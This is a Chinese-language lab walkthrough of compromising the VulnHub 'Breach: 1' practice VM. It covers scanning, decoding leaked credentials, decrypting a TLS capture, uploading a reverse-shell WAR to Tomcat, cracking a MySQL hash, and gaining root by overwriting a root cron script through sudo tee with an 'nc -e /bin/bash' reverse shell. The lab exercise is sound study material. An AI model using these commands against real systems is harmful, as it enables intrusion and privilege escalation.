赞
踩
前言:
breach靶机是用于给网安研究者练习的一个系统,它模拟了真实的网络环境,供安全研究人员和爱好者进行漏洞挖掘、攻击防御等实验。靶机下载地址Breach: 1 ~ VulnHub
如果你想要复现一下流程 你需要一个攻击机(kali)并把它的网络模式设置成仅主机模式且在同一个网段192.168.110.x (因为breach靶机是仅主机模式) 这里我们对于怎么样配置 以及环境搭建不做过多介绍 直接实战
我们配置的breach靶机是静态网络 ip为 192.168.110.140
使用kali系统中的nmap工具扫描端口
nmap -T4 -A -v 192.168.110.140
发现靶场开了很多端口 判断它可能开了ips 从80端口入手
浏览器访问80端口
我们右击查看网页源码 发现一个64位编码
对比编码类型 我们可以判断此编码为base64编码
使用ctf解码工具 使用base64解码两次后得到:
pgibbons:damnitfeel$goodtobeagang$ta
初次判断 可能为用户名和密码
我们点击网站主页的图片网站主页发现了一个impressecms的网站
使用kali指纹识别工具:whatweb识别一下impress的版本
whatweb -v http://192.168.110.140/impresscms/
搜集到了网站服务器为apache版本为2.4.7 但是并未找到cms系统版本
使用msfconsole工具 再搜索一下impresscms的漏洞脚本
msfconsole
searchsploit impresscms
发现了五个漏洞脚本 我挨个试试后行不通
换个思路只能在网页使用 之前得到的base64解码的用户名和密码去尝试登陆网站试试
登录成功 进入后台
我们进入后台后进行信息收集 发现邮件箱后有三封邮件
在第三封邮件信息中提到了 一个keystore的文件(Keystore文件可以简单理解为一个存放应用签名的文件是一个秘钥库 后续我们会用到)
在其他地方搜集到了一个流量包的文件下载地址 上面并提到了 别名和存储的密码,密钥库的密码都是 tomcat
使用wireshark软件打开上述搜集到的扩展名pacp的流量包
过滤TLS的流量 发现 关于application的数据都被加密了
接下来我们来解密文件 使用jdk自带的keytool工具查看之前所得到的一个keystore文件并导出到d盘得到一个 tomcat.p12的文件
keytool -importkeystore -srckeystore D:\eage浏览器\keystore -destkeystore d:\tomcat.p12 -deststoretype PKCS12 -srcalias tomcat
我们将此文件导入到此流量包里用于解密
编辑->首选项->protocols->找到TLS->导入p12文件
然后我们刷新一下pacp文件 文件已解密解密之后在第十四行找到一个请求的url地址 我们访问一下试试
浏览器拒绝链接 是因为浏览器不接受它的证书 不安全
我们使用bp工具来作为中间人(因为bp自带的证书是有效的)来访问此网站
弹出了http basic的登录验证 我们在流量包里找到账号密码tomcat Tt\5D8F(#!*u=G)4m7zB
我们登录了tomcat的后台管理
登录到网站后台以后发现我们可以上传Java的war包
我们可以使用msf工具生成含有反弹链接的war包上传后访问 这里注意:因为因为靶机使用的是仅主机的模式 我们在进行生成含有反弹链接代码的war包和监听端口的时候我们需要使用仅主机网络模式的kali系统才能成功建立链接
连接成功
使用命令:
shell
python -c 'import pty;pty. spawn("/bin/bash")'
来获取交互式的shell工具这样我们就可以执行此靶机的系统命令了
那么如何提权(提升管理员root权限)? 有以下普遍的方式
1 查看操作系统版本 搜索漏洞 systeminfo uname -a 等命令
2 查看敏感文件
3 history查看当前用户执行过的命令
4 sudu -l 查看当前用户可以使用的root命令
首先我们使用cat /etc/passwd 来查看当前系统的所有用户信息
发现了一个用户名为milton的账户
接下来
我们使用uname -a 命令 来查看当前操作系统 以及内核版本
发现当前靶机使用的是ubuntu的操作系统 并且内核版本为14.04
我们搜索msf的漏洞库查看对应的Ubuntu系统对应内核版本的漏洞 发现并没有可利用的漏洞脚本
命令:
msfconsole
searchsploit Ubuntu 14.04
继续进行信息收集
发现在apache的默认路径 /var/www 中除了html的主页 有一个 5446的文件夹 里面有一个mysql的配置文件 我们查看文件 发现有 mysql的账号和密码
我们链接数据库 mysql -uroot -p 链接数据库
我们使用show databases;命令查看当前有一下四个数据库information_schema mysql performance-schema 都是数据库 其中mysql系统数据库中 存放着当前mysql的一些用户信息 我们进入mysql数据库看看有哪些信息可以收集
我们进入mysql系统库查看表 查看user表
desc user; select user,password from user; 来查看user表的结构 以及 查找表中 user, password 字段信息
可以看到此mysql数据库用户的用户名以及加密后的密码 我们可以看到一个用户名叫做milton的用户我们尝试解出它的密码6450d89bd3aff1d893b85d3ad65d2ec2 的值 对比上面的编码表 我们可以判断出它是一个MD5算法的加密方式 我们尝试在网上找一个在线的网站来解密试试 密码为 thelaststraw
因此我们的到了 mysql数据库 的 milton这个用户的账号密码 但是对于我们渗透并没有用 但是在之前进行信息收集查看etc/passwd这个文件时 也发现了一个milton的一个账户 我们试试使用此密码去登录 milton的系统账号
使用 su milton 命令来切换 milton用户 输入密码 登陆成功
我们使用history命令来进行信息收集
发现这个milton用户切换过 root和 blumbergh这两个用户 我们先从 blumbergh这个用户入手 来寻找这个用户的密码
这里我找了好久 最后密码在网站主页image路径中夹带在这四张图片中第一个图片里
如何查看隐藏在图片中的字符?
我们使用wget 将图片下载到自己的kali系统后
使用 strings 命令查看图片 在倒数第二行发现了一串字符串 coffeestains(blumbergh用户的密码)
得到密码后我们使用 su blumbergh 来切换这个用户 输入密码
登陆成功
我们继续使用history查看当前用户之前所使用过的命令 发现有一行是 cd /usr/share/cleanup
我们进入 这个目录 发现有个tidyup.sh的一个脚本文件 我们使用cat命令查看内容 发现这是一个防止黑客入侵所写的一个定时(每三分钟)清理异常文件的定时任务
我们使用 ll 命令 来查看tydyup.sh这个脚本的权限以及所属的用户
可以看到 tidyup.sh这个文件 所属用户是root用户 如果我们再这个脚本里写一个反弹链接 我们则就获得了root权限 则 提权成功
我们再使用 sudo -l 命令继续进行信息收集 查看当前用户可以执行的root命令
我们发现 当前用户 可以执行 tee 和 上面的tidyup.sh 不需要密码 但是不能对tidyup直接写入 反弹链接 因为对tidyup文件进行写入 需要 root 权限 我们有的只是执行的权限
但是tee这个程序的功能是
tee功能是 将一个文件的内容 覆盖或到另一个文件的内容
现在相当于 我们有了任意文件写入的权限
我们先将 基于netcat的反弹链接写入一个shell.txt
echo nc -e /bin/bash 192.168.128.110 7777 > shell.txt
然后这里我们先监听当前kali攻击机的7777端口
nc -lvp 7777
接下来我们使用tee的功能将写入反弹连接的shell.txt的内容覆盖到tidyup.sh文件里
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
我们可以看到 tidyup.sh文件内容已经覆盖为 我们写的反弹链接
我们稍微等待一下(因为这个定时任务 是每三分钟执行一次)
ok我们建立反弹链接成功
我们执行 whoami 命令 来查看当前用户
显示root 用户 提权成功!
这里我们相当于 已经拿到了这台机器的最高权限 完全攻破 流程完毕
如果你完整的看完了整篇流程 你可以发现 信息收集对我们渗透一个机器 非常重要 我的老师跟我说 渗透的本质是信息收集 如果你想要更好的提升你的渗透能力 信息收集是非常重要的能力 那些你没有收集到的信息 往往是渗透进入机器的关键 多尝试 多碰撞
本人菜鸟一枚 也是跟着老师的步骤做的流程 加上自己的一些理解和总结(相当于我的笔记) 希望对你在练习breach靶机的时候有帮助
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。